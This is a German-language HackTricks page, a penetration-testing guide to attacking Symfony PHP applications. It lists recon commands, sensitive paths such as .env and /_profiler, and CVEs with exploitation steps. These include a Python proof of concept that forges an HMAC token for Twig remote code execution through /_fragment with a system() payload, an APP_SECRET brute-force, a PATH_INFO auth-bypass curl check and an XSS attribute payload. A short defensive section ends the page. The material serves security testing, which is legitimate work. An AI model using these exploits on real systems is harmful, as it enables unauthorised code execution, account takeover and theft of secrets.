Symfony
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Symfony ist eines der am weitesten verbreiteten PHP-Frameworks und taucht regelmäßig in Assessments von Enterprise-, E‑Commerce- und CMS-Zielen auf (Drupal, Shopware, Ibexa, OroCRM … alle binden Symfony-Komponenten ein). Diese Seite sammelt offensive Tipps, häufige Fehlkonfigurationen und aktuelle Schwachstellen, die auf Ihrer Checkliste stehen sollten, wenn Sie eine Symfony-Anwendung entdecken.
Historischer Hinweis: Ein großer Teil des Ökosystems verwendet noch den 5.4 LTS-Zweig (EOL November 2025). Symfony 7.4 wurde im Nov 2025 das neue LTS und erhält Security-Fixes bis Nov 2029. Prüfen Sie immer das genaue Patch-Level, da viele Advisories aus 2024‑2026 nur in Micro-Releases gefixt wurden.
Recon & Enumeration
Finger-printing
- HTTP-Antwort-Header:
X-Powered-By: Symfony,X-Debug-Token,X-Debug-Token-Linkoder Cookies, die mitsf_redirect,sf_session,MOCKSESSIDbeginnen. - Source code leaks (
composer.json,composer.lock,/vendor/…) geben oft die exakte Version preis:
curl -s https://target/vendor/composer/installed.json | jq '.[] | select(.name|test("symfony/")) | .name,.version'
- Öffentliche Routen, die nur bei Symfony vorkommen:
/_profiler(Symfony Profiler & debug toolbar)/_wdt/<token>(“Web Debug Toolbar”)/_error/{code}.{_format}(schöne Fehlerseiten)/app_dev.php,/config.php,/config_dev.php(pre-4.0 dev front-controllers)- Wappalyzer, BuiltWith oder ffuf/feroxbuster wordlists:
symfony.txt→ suchen Sie nach/_fragment,/_profiler,.env,.htaccess.
Interessante Dateien & Endpunkte
| Path | Why it matters |
|---|---|
/.env, /.env.local, /.env.prod | Häufig falsch deployed → leaks APP_SECRET, DB creds, SMTP, AWS keys |
/.git, .svn, .hg | Source disclosure → credentials + business logic |
/var/log/*.log, /log/dev.log | Web-Root-Fehlkonfiguration öffnet Stack-Traces |
/_profiler | Vollständige Request-Historie, Konfiguration, Service-Container, APP_SECRET (≤ 3.4) |
/_fragment | Entry-Point für ESI/HInclude. Missbrauch möglich, sobald APP_SECRET bekannt ist |
/vendor/phpunit/phpunit/phpunit | PHPUnit RCE, wenn erreichbar (CVE-2017-9841) |
/index.php/_error/{code} | Finger-print & manchmal leak Exception-Traces |
High-impact Vulnerabilities
1. APP_SECRET disclosure ➜ RCE via /_fragment (aka “secret-fragment”)
- CVE-2019-18889 ursprünglich, tritt aber immer noch bei modernen Zielen auf, wenn Debug aktiviert bleibt oder
.envexponiert ist. - Sobald Sie das 32‑stellige
APP_SECRETkennen, erzeugen Sie ein HMAC-Token und missbrauchen den internenrender()-Controller, um beliebiges Twig auszuführen:
# PoC – requires the secret
import hmac, hashlib, requests, urllib.parse as u
secret = bytes.fromhex('deadbeef…')
payload = "{{['id']|filter('system')}}" # RCE in Twig
query = {
'template': '@app/404.html.twig',
'filter': 'raw',
'_format': 'html',
'_locale': 'en',
'globals[cmd]': 'id'
}
qs = u.urlencode(query, doseq=True)
token = hmac.new(secret, qs.encode(), hashlib.sha256).hexdigest()
r = requests.get(f"https://target/_fragment?{qs}&_token={token}")
print(r.text)
- Ausgezeichneter write-up & exploitation script: Ambionics blog (verlinkt in den References).
2. PATH_INFO auth bypass – CVE-2025-64500 (HttpFoundation)
- Betroffen sind Versionen unter 5.4.50, 6.4.29 und 7.3.7. Path-Normalisierung konnte das führende
/entfernen, wodurch Access-Control-Regeln, die z.B./adminerwarten, gebrochen wurden. - Schnelltest:
curl -H 'PATH_INFO: admin/secret' https://target/index.php→ wenn dadurch Admin-Routen ohne Auth erreichbar sind, haben Sie die Schwachstelle gefunden. - Fix:
symfony/http-foundationoder das gesamte Framework auf die gefixte Patch-Version upgraden.
3. MSYS2/Git-Bash argument mangling – CVE-2026-24739 (Process)
- Betroffen sind Versionen unter 5.4.51, 6.4.33, 7.3.11, 7.4.5 und 8.0.5 auf Windows, wenn PHP aus MSYS2 (Git-Bash, mingw) ausgeführt wird.
Processquotet=nicht korrekt, was zu korrupten Pfaden führt; destruktive Befehle (rmdir,del) können unverhoffte Verzeichnisse treffen. - Wenn Sie ein PHP-Skript hochladen oder Composer/CLI-Helper beeinflussen können, die
Processaufrufen, bauen Sie Argumente mit=(z.B.E:/=tmp/delete) um Path-Rewrites zu erzwingen.
4. Runtime env/argv injection – CVE-2024-50340 (Runtime)
- Wenn
register_argv_argc=Ongesetzt ist und nicht-SAPI-Runtimes verwendet werden, konnten manipulierte Query-Strings über argv-ParsenAPP_ENV/APP_DEBUGumschreiben. Gefixt in 5.4.46/6.4.14/7.1.7. - Achten Sie in Logs auf
/?--env=prododer ähnliche Einträge, die akzeptiert wurden.
5. URL validation / open redirect – CVE-2024-50345 (HttpFoundation)
- Sonderzeichen in der URI wurden nicht identisch zu Browser-Validierung geprüft, wodurch Redirects zu angreifer-kontrollierten Domains möglich waren. Gefixt in 5.4.46/6.4.14/7.1.7.
6. Symfony UX attribute injection – CVE-2025-47946
symfony/ux-twig-component&symfony/ux-live-componentvor 2.25.1 rendern{{ attributes }}ohne Escaping → attribute injection/XSS. Wenn die App Benutzern erlaubt, Component-Attribute zu definieren (Admin-CMS, E‑Mail-Templating), lässt sich das zu Script-Injection ketten.- Update beider Pakete auf 2.25.1+. Als manueller Exploit: JS in einem Attributwert platzieren, das an eine Custom-Component übergeben und gerendert wird.
7. Windows Process Hijack – CVE-2024-51736 (Process)
- Die
Process-Komponente suchte das aktuelle Work-Directory vor PATH auf Windows. Ein Angreifer, dertar.exe,cmd.exeetc. in ein beschreibbares Web-Root hochladen kann undProcess(z.B. File-Extraction, PDF-Generierung) auslöst, erhält Code-Ausführung. - Gefixt in 5.4.50, 6.4.14, 7.1.7.
8. Session-Fixation – CVE-2023-46733
- Der Authentication-Guard hat eine bestehende Session-ID nach Login wiederverwendet. Wenn ein Angreifer das Cookie vor der Authentifizierung des Opfers setzt, kann er das Konto nach Login übernehmen.
9. Twig sandbox XSS – CVE-2023-46734
- In Anwendungen, die user-controlled Templates (Admin-CMS, E‑Mail-Builder) erlauben, konnte der
nl2br-Filter benutzt werden, um Sandbox-Bypass und JS-Injection zu erreichen.
10. Symfony 1 gadget chains (still found in legacy apps)
phpggc symfony/1 system iderzeugt ein Phar-Payload, das RCE triggert, wenn ein unserialize() auf Klassen wiesfNamespacedParameterHoldererfolgt. Prüfen Sie File-Upload-Endpunkte undphar://-Wrapper.
PHP - Deserialization + Autoload Classes
Exploitation Cheat-Sheet
Calculate HMAC token for /_fragment
python - <<'PY'
import sys, hmac, hashlib, urllib.parse as u
secret = bytes.fromhex(sys.argv[1])
qs = u.quote_plus(sys.argv[2], safe='=&')
print(hmac.new(secret, qs.encode(), hashlib.sha256).hexdigest())
PY deadbeef… "template=@App/evil&filter=raw&_format=html"
Bruteforce des schwachen APP_SECRET
cewl -d3 https://target -w words.txt
symfony-secret-bruteforce.py -w words.txt -c abcdef1234567890 https://target
RCE über eine exponierte Symfony Console
Wenn bin/console über php-fpm oder durch direkten CLI-Upload erreichbar ist:
php bin/console about # confirm it works
php bin/console cache:clear --no-warmup
Verwende deserialization gadgets im Cache-Verzeichnis oder schreibe eine bösartige Twig-Template, die bei der nächsten Anfrage ausgeführt wird.
PATH_INFO bypass schnell prüfen (CVE-2025-64500)
curl -i -H 'PATH_INFO: admin/secret' https://target/index.php
# If it returns protected content without redirect/auth, the Request normalization is vulnerable.
Spray UX attribute injection (CVE-2025-47946)
{# attacker-controlled attribute value #}
<live:button {{ attributes|merge({'onclick':'alert(1)'}) }} />
Wenn die gerenderte Ausgabe das Attribut unescaped ausgibt, gelingt XSS. Auf 2.25.1+ patchen.
Defensive Hinweise
- Never deploy debug (
APP_ENV=dev,APP_DEBUG=1) nicht in Produktion einsetzen; blockiere/app_dev.php,/_profiler,/_wdtin der Webserver-Konfiguration. - Speichere Secrets in Umgebungsvariablen oder
vault/secrets.local.php, niemals in Dateien, die über das Document-Root zugänglich sind. - Setze Patch-Management durch – abonniere Symfony Security Advisories und halte mindestens das LTS-Patch-Level (5.4.x bis Nov 2025, 6.4 bis Nov 2027, 7.4 bis Nov 2029).
- Wenn du unter Windows betreibst, upgrade sofort, um CVE-2024-51736 & CVE-2026-24739 zu mitigieren oder füge eine
open_basedir/disable_functionsDefence-in-Depth-Maßnahme hinzu.
Nützliche offensive Tools
- ambionics/symfony-exploits – secret-fragment RCE, Aufspüren von debugger-Routen.
- phpggc – Ready-made gadget chains for Symfony 1 & 2.
- sf-encoder – kleines Hilfsprogramm zur Berechnung des
_fragmentHMAC (Go implementation).
Referenzen
- Ambionics – Symfony “secret-fragment” Remote Code Execution
- Symfony Security Advisory – CVE-2024-51736: Command Execution Hijack on Windows Process Component
- Symfony Blog – CVE-2025-47946: Unsanitized HTML attribute injection in UX components
- Symfony Blog – CVE-2026-24739: Incorrect argument escaping under MSYS2/Git Bash
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.


